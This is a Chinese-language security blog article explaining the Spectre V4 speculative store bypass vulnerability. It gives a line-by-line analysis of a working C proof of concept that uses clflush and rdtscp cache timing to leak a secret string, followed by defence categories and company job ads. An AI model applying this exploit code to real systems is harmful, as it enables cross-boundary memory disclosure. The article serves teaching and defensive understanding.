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NO.1 Spectre V4：基于内存消歧

预测失误的瞬态执行漏洞

在本文中，我们将为读者介绍Spectre V4漏洞的原理，并通过分析其PoC代码，以及相应的防御机制来帮助大家理解该漏洞。

NO.2 关于Spectre V4

Spectre V4是基于推测执行机制的Spectre 漏洞的一个变体，它的主要特点是利用内存消歧器的错误预测，来触发瞬态执行访问机密数据。当处理器发现预测失误后，将撤销瞬态执行结果，使得在架构层面看不到瞬态执行的结果，但是瞬态执行会在微架构层面留下的痕迹，攻击者可以通过微架构侧信道恢复机密数据。

既然Spectre V4漏洞与内存消歧密切相关，那么，下面我们就先来了解一下这个概念。

NO.3 内存消歧

表面上看，程序是按照指令的编写顺序来先后执行的，但是，这只是一个假象：在处理器内部，很多时候指令并非按照其编写顺序执行的，只是在乱序执行之后，会进行相应的检查，如果与顺序执行的结果没有冲突的话，则对指令结果进行重新排序，并提交到架构层面。所以，我们看起来程序是顺序执行的，主要因为微架构的操作对程序员是透明的。

在本文中，我们主要关注内存访问指令的乱序执行。内存访问指令通常被称为LOAD/STORE，分别用于从内存读取数据和向内存中写入数据。对于x86处理器来说，通常会在指令处理流水线的早期阶段将内存读写操作转换为等价的MOV操作。

请看下面的简单示例，其中STORE指令将值567写入内存地址0x1000处。随后的第二个STORE指令将在地址0x1000处（通过相应的LOAD指令）找到的值（逻辑上讲，这个值应该是567，但是，在瞬态执行的情况下，这个值可能就不是567了！）复制到内存地址0x2000处。在执行两个STORE指令后，地址0x1000和0x2000处的两个内存单元必须包含同一个值567。相应的伪代码如下所示： 

STORE 567, 0x1000LOAD [0x1000], registerSTORE register, 0x2000

语法上看，上面的指令非常简单，但到了CPU的流水线中，事情就变得复杂了：虽然这两条存储指令可以同时处于流水线的不同阶段，但它们对内存和/或寄存器的影响只有在它们退出（即离开流水线）后才会写入系统。这意味着第二个STORE指令无法看到缓存或内存地址0x1000处的值变化，因为第一个STORE指令可能还没有离开流水线。 

对于这种对内存先写后读的操作，通常需要注意它们之间的依赖关系，比如，是否是对同一个地址的读写操作。对于上面的例子，前面是一个STORE操作，后面是一个LOAD操作，操作的是同一个内存地址，那么，处理器就会直接将写入操作中的值567传递给读取指令，而无需从内存中读取这个值，这就是所谓的存储到加载转发功能。

下面，我们稍微改一下我们的示例代码：

STORE 567, *ptrLOAD [0x1000], registerSTORE register, 0x2000

现在，第一个STORE操作的写入地址被保存在一个指针变量中，也就是说，为了获得写入地址，需要访问内存。我们知道，访问内存是比较耗时的，那么，访问内存的过程中，处理器是傻等，还是提前执行后面的指令？很明显，傻等是不可取的，但是，如果提前执行依赖于前面的写内存操作的读内存操作的话，也是不合适的。

这时，内存消歧器就派上用场了。内存消歧器用于预测（实际上，其中猜测的成分还是很大的）哪些LOAD指令不依赖于前面的任何STORE指令。当内存消歧器认为一个LOAD指令没有这样的依赖关系时，该指令就会从L1数据缓存中获取其数据。也就是说，LOAD指令绕过前面的STORE指令，提前执行了。当前面的STORE指令获取到写入地址后，会对预测结果进行验证。如果发现预测有误，则重新执行LOAD指令以及所有后续指令。

NO.4 Spectre V4利用模式

Spectre V4漏洞的利用过程，与其他Spectre 漏洞的利用过程基本一致：

· 触发瞬态执行，读取机密数据并进行编码；

· 利用侧信道，恢复机密数据。

这里主要的区别在于触发瞬态执行的方法：在写后读的依赖关系中，如果内存消歧器认为LOAD指令不依赖于前面的STORE指令，那么，LOAD指令将提前执行，并返回STORE操作完成之前的值，具体如下面的代码所示：

pointer = secret_ptr;       // 初始化，让pointer指针保存我们要读取的机密数据的地址。pointer = sane_ptr;         // 修改pointer指针的值，使其指向正常的数据。                     //注意，这里应该将pointer指针的地址处理一下，使得                     //处理器需要花些时间才能找到其地址。
value = *pointer;       //利用pointer指针读取内存数据（这条语句和下面的语句将执行//两次：瞬态执行时读取的是机密数据，//正常执行时读取的是正常数据）。cache_trace = array[value]; // 将机密数据编码为数组下标

如果一切都按顺序执行，*pointer对应的是正常的数据。然而，在攻击成功的情况下（存储指令长时间取不到写入地址，并且处理器误以为加载指令与前面的存储指令没有依赖关系），value = *pointer;语句中读取指针变量pointer的操作（*pointer，这相当于先读取指针变量pointer的值，然后将这个值作为地址，读出该地址处的内存值），将先于前面对该指针变量进行赋值的操作（即pointer = sane_ptr; ）被执行。这时，这个指针变量的值，还是初始化时的值（secret_ptr，机密数据的地址），所以，在瞬态执行过程中，通过这个指针变量读取的是机密数据。当处理器后来发现存储指令和加载指令存在依赖关系时，会撤销瞬态执行的结果，但是为时已晚，因为机密数据已经在缓存中留下痕迹。攻击者可以利用这一点恢复出机密数据。

NO.5 PoC分析

下面，我们开始详细分析该漏洞的PoC代码。

头文件与全局变量

#include <stdio.h>#include <stdint.h>#include <x86intrin.h>

x86intrin.h用于声明编译器实现的内部函数。其中，某些函数的功能与一些汇编指令相对应，比如rdtscp和clflush指令（这两条指令的功能将在后文中加以介绍）；这样的话，当我们想要使用这些汇编指令时，就可以像调用函数那样使用它们，而无需采用内联汇编的形式了。

#define LEN 16#define MAX_TRIES 10000#define CACHE_HIT_THRESHOLD 100

另外，这里还定义了一些常量，LEN表示保存机密数据的字符数组的长度；MAX_TRIES表示对于每个字符，需要读取的次数；CACHE_HIT_THRESHOLD是一个时间阀值，低于这个值，就认为缓存命中。

unsigned char** memory_slot_ptr[256];unsigned char* memory_slot[256];
unsigned char secret_key[] = "PASSWORD_SPECTRE";unsigned char public_key[] = "################";
uint8_t probe[256 * 4096];volatile uint8_t tmp = 0;

之后，定义了多个数组，其中，secret_key数组保存要读取的机密数据，memory_slot指针数组的第一个元素memory_slot[0]用于保存机密数据的地址，memory_slot_ptr指针数组的第一个元素memory_slot_ptr[0]用于保存memory_slot指针数组的起始地址。

Probe数组可以看成是一个二维数组，共256行，每行4096个元素。该数组主要用于编码机密数据，也就是如果某个元素缓存命中，那么，该元素的行号就是瞬态执行过程中越权访问的机密数据（因为这里每次只读取一个字节，而一个字节对应256种取值，正好对应于该数组的256行）。

变量tmp用于保存越权访问的数据，如果单纯读取数据，而不做任何处理，读取操作就很容易被编译器优化掉。

主函数

下面是主函数代码：

int main(void) {  for (int i = 0; i < sizeof(probe); ++i) {    probe[i] = 1; // write to array2 so in RAM not copy-on-write zero pages  }  attacker_function();}

在这里，首先为probe数组的元素赋值，执行这个for循环后，该数组的所有元素的值都变为1。

之后，就开始发动瞬态执行攻击，这个任务主要由attacker_function()函数完成。

victim_function()：完成瞬态读取和编码的函数

void victim_function(size_t idx) {  unsigned char **memory_slot_slow_ptr = *memory_slot_ptr;  *memory_slot_slow_ptr = public_key;  tmp = probe[(*memory_slot)[idx] * 4096];}

现在，我们先看看函数体中的第一句：

unsigned char **memory_slot_slow_ptr = *memory_slot_ptr;

首先，它定义了一个指针变量memory_slot_slow_ptr，并将*memory_slot_ptr赋值给这个指针变量。那么，现在*memory_slot_ptr是什么呢？它实际上就是memory_slot_ptr[0]的值。那么，memory_slot_ptr[0]的值现在又是什么呢？它实际上就是memory_slot数组的起始地址0x509180。

那么，现在memory_slot指针数组的第一个元素的值指向谁呢？指向保存机密数据的字符数组secret_key的起始地址（0x404010，见下图）。

执行完函数体中的第一句后，*memory_slot_slow_ptr（也就是指针数组memory_slot第一个元素），保存的是字符数组secret_key的起始地址。

该函数体中的第二句，也就是：

*memory_slot_slow_ptr = public_key;

的作用，就是让原先指向secret_key（其起始地址为0x404010）的指针变量*memory_slot_slow_ptr（即memory_slot[0]）变为指向public_key（其起始地址为0x404030）；换句话说，要对指针变量*memory_slot_slow_ptr（即memory_slot[0]）指向的内存单元进行写操作，以覆盖原来的值。这就对应于前面所说的STORE指令，而后面的*memory_slot则相当于前文所说的LOAD指令。这两个操作都是针对同一个内存地址，从上图可以看出该地址是0x509180，也就是指针变量memory_slot[0]的地址。但是，前面的STORE指令是通过访问内存中的指针变量（memory_slot_slow_ptr位于内存中）的值来确定写入地址的，这个过程比较费时间，而后面的LOAD指令则是使用数组名称，即地址（可以看作立即数，位于处理器中）来确定读取地址的，所以，内存消歧器会认为两者没有依赖关系，可以让LOAD指令推测性执行（也就是绕过前面的STORE指令，提前执行后面的LOAD指令），这时内存中的0x509180处存放的仍然是secret_key数组的地址，所以(*memory_slot)[idx]读取的仍然是原来的secret_key数组的元素。

这个函数体中的第三句，即：

tmp = probe[(*memory_slot)[idx] * 4096];

用于将读取的内容编码为相应数组元素的行号，以便将来通过侧信道技术恢复读取的内容。

这里由于涉及指针概念，看起来可能比较复杂。不过，如果弄清楚memory_slot本身是一个地址，而memory_slot_slow_ptr本身是一个存放地址的变量，并且*memory_slot和*memory_slot_slow_ptr代表的是同一个指针变量，并且把它看作“Spectre V4利用模式”一节中的指针pointer变量，将两节内容结合起来，所有问题就会迎刃而解。

attacker_function()函数：瞬态攻击引擎

该函数首先定义了一个字符数组，用于保存读取的机密数据。

void attacker_function() {  char password[LEN + 1] = {'\0'};

然后，根据机密数据的长度，每次读一个字节：

for (int idx = 0; idx < LEN; ++idx) {

每次读取一个字节的机密数据时，都要将这个字节所有256种可能取值的命中次数保存到一个名为 results的数组中：

int results[256] = {0};unsigned int junk = 0;

上面的junk变量的作用，主要是参与某些运算，防止代码被优化掉。然后，对一个字节的机密数据，读取10000次，然后，统计命中率最高的可能取值。这样，可以最大可能的消除噪声的影响。

    for (int tries = 0; tries < MAX_TRIES; tries++) {
      *memory_slot_ptr = memory_slot;      *memory_slot = secret_key;

进行每次尝试前，都会让memory_slot_ptr指针数组的第一个元素指向memory_slot数组的起始地址，然后，让memory_slot指针数组的第一个元素指向要瞬态读取的机密数据的起始地址，即secret_key。

      _mm_clflush(memory_slot_ptr);      for (int i = 0; i < 256; i++) {        _mm_clflush(&probe[i * 4096]);      }

然后，将用于编码瞬态读取的一个字节的机密数据的probe数组的第一列元素，全部从缓存中逐出，使其只能从内存中读取。这样的话，对于瞬态执行过程中读取的元素，会被重新带入缓存中，所以，在后面测量第一列元素的读取时间时，它的用时就会低于给定的阀值。

_mm_mfence();

上面的这个函数的作用，是让内存读写指令按顺序执行。下面，开始调用完成瞬态执行的函数：

victim_function(idx);

上面的函数在瞬态执行过程中，读取的机密数据作为probe数组第一列元素的行号，来访问相应的数组元素。所以，接下来，我们只要读取该数组第一列的所有元素，并记录它们的用时：

      for (int i = 0; i < 256; i++) {        volatile uint8_t* addr = &probe[i * 4096];        uint64_t time1 = __rdtscp(&junk); // read timer        junk = *addr; // memory access to time        uint64_t time2 = __rdtscp(&junk) - time1; // read timer and compute elapsed time

对于瞬态执行过程中访问过的元素，由于其读取时间会低于阀值，所以，我们就可以通过读取时间低于阀值的元素的行号推断出该字节机密数据。注意，由于瞬态执行之后，会读取public_key数组的元素。因此，这个数组元素的值对应的行号，应该排除在外：

    if (time2 <= CACHE_HIT_THRESHOLD && i != public_key[idx]) {          results[i]++; // cache hit        }      }    }

在上面的代码中，我们要注意results数组元素的下标和probe数组第一列元素的行号，与瞬态读取的机密数据内容具有一一对应的关系。下面这一句，是防止编译器对我们的代码进行不必要的优化。

tmp ^= junk; // use junk so code above won’t get optimized out

然后，找出命中次数最高的那个可能取值：

    int highest = -1;    for (int i = 0; i < 256; i++) {      if (highest < 0 || results[highest] < results[i]) {        highest = i;      }    }

将命中率最高的可能取值输出，并保存到password数组中，具体代码如下所示：

    printf("idx:%2d, highest:%c, hitrate:%f\n", idx, highest,      (double)results[highest] * 100 / MAX_TRIES);    password[idx] = highest;  }  printf("%s\n", password);}

NO.6 防御机制

对瞬态执行攻击的防御方法，可以围绕以下四个方面进行：

· 限制瞬态指令的执行，或减小瞬态执行的时间窗口；

· 限制瞬态指令越权访问数据；

· 使微架构状态不受瞬态执行的影响，从而令隐蔽信道的发送端无效（无法编码）；

· 降低隐蔽信道的精度，相当于降低隐蔽信道接收端的能力（无法解码）。

其中，前面两条用于防止触发瞬态执行，后面两条用于阻止侧信道攻击。

NO.7 小结

在本文中，我们为读者详细介绍了Spectre V4漏洞的原理，并通过分析相应的PoC代码来帮助大家理解该漏洞。最后，介绍了针对瞬态执行攻击的防御机制，希望对大家能够有所帮助。

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安恒雷神众测SRC运营（实习生）
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1.  负责SRC的微博、微信公众号等线上新媒体的运营工作，保持用户活跃度，提高站点访问量；
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作，促进审核人员与白帽子之间友好协作沟通；
3.  参与策划、组织和落实针对白帽子的线下活动，如沙龙、发布会、技术交流论坛等；
4.  积极参与雷神众测的品牌推广工作，协助技术人员输出优质的技术文章；
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强，性格活泼，具备良好的人际交往能力；
 2.  对网络安全感兴趣，对行业有基本了解；
 3.  良好的文案写作能力和活动组织协调能力。

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岗位：红队武器化Golang开发工程师

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